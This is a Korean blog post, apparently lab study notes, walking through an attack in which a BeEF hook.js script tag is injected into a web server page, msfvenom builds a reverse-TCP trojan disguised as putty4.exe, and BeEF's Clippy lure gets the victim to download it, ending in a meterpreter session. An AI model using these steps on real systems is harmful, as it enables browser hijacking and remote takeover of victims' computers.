끄적끄적 아무기록

BeEF를 이용한 실행파일(악성코드) 전송 공격

by 현생사는갓생지망생
반응형

BeEF를 이용한 악성코드 전송 공격

 

공격자 : 192.168.1.1

공격 대상 : 192.168.1.11

 

Kali : 1.0.0.51 (port 80, 3000, 9999)

Meta : 1.0.0.54 (port 8888)

 

공격 시나리오

1. Meta3의 웹 서버에 BeEF를 이용하여 악성 스크립트를 주입시킨다.

2. 공격 대상이 웹 서버에 접속한다.

3. 웹 서버에 주입된 악성 스크립트가 실행되어 BeEF로 제어권을 가져온다.

4. msfvenom을 이용하여 악성 실행파일을 생성한다.

5. BeEF의 Clippy 기능을 이용하여 아파치 웹 서버에 putty4.exe 다운로드가 뜨도록 설정한다.

6. meterpreter로 접속 성공.

 

Kali에도 아파치 웹 서버가 있고, Meta3에도 웹 서버가 있기 때문에

서로 다른 포트를 사용하도록 구분하고 포트포워딩을 해준다.

80 port : Kali의 아파치 웹 서버

8888 port : Meta3의 웹 서버

9999 port : meterpreter 공격

3000 port : 스크립트 실행되어 Kali로 접속

 

1. Meta3의 웹 서버에 BeEF를 이용하여 악성 스크립트를 주입시킨다.

 

Meta3의 웹 서버 기본 html 파일을 메모장으로 실행한다.

Kali에서 BeEF를 실행하면 뜨는 스크립트를 복사해서 html코드 안에 주입한다.

<script src="http://[공격자의 Host PC]:3000/hook.js"></script>

공격 대상이 웹 서버로 접속하면 자동적으로 이 스크립트가 실행된다.

3000번 포트를 Kali로 포트포워딩 했기 때문에 Kali로 접속되어 hook.js라는 파일이 실행된다.

공격 대상은 Meta3로 접속하였지만 실질적으로는 Kali안의 파일이 실행되는 셈이다.

 

2. 공격 대상이 웹 서버에 접속한다.

 

공격 대상이 Meta3의 웹 서버로 접속한다.

index.html 파일 속의 악성 스크립트가 실행되어 Kali의 hook.js파일이 실행된다.

 

3. 웹 서버에 주입된 악성 스크립트가 실행되어 BeEF로 제어권을 가져온다.

 

Kali에서 실행한 BeEF에서 192.168.1.11(공격 대상의 IP)가 생긴 것을 확인 가능하다.

 

4. msfvenom을 이용하여 악성 실행파일을 생성한다.

 

msfvenom을 이용하여 악성코드가 주입된 실행파일을 생성한다.

lhost=[공격자 IP]

lport=[지정 포트]

- x : 기존의 파일을 사용하기 위한 옵션

 

지정해준 위치에 putty4.exe라는 실행파일이 생성되었다.

cp /root/putty4.exe /var/www/html/download/ 명령어로 실행파일을 다운로드 폴더로 옮긴다.

 

멀티 핸들러를 이용하고, payload방식은 reverse_tcp로 설정한다.

 

# set lhost [공격자 IP]

# set lport [msfvenom에서 사용했던 포트와 일치]

 

run or exploit을 입력하면 공격 대상이 아직 악성 실행파일을 실행하지 않았기 때문에 잠시 대기한다.

 

5. BeEF의 Clippy 기능을 이용하여 아파치 웹 서버에 putty4.exe 다운로드가 뜨도록 설정한다.

 

BeEF의 Clippy 기능을 사용하여 악성 실행파일을 다운로드하도록 유도해보자.

Clippy image directory란 clippy가 작동될 때 나오는 이미지의 위치이다. 기본값으로 설정한다.

Custom text에는 자신이 입력하고자 하는 메시지를 입력해주면 된다.

Executable에 위에서 생성했던 악성 실행파일의 위치를 적어준다.

http://192.168.1.1/download/putty4.exe 웹 서버의 기본 포트는 80이므로 지정해주지 않아도 Kali로 들어가게 된다.

설정을 완료했다면 Execute!

 

공격 대상이 접속해있었던 Meta3의 웹 페이지 하단에 Clippy가 뜨게 되고,

공격 대상이 파일을 다운로드했다고 가정하자.

 

6. meterpreter로 접속 성공.

 

대기중이었던 Kali가 meterpreter로 접속된다.

 

스크린샷이 성공적으로 찍혀 저장되었다.

공격 성공.

 

반응형

블로그의 정보

현생이네

현생사는갓생지망생

활동하기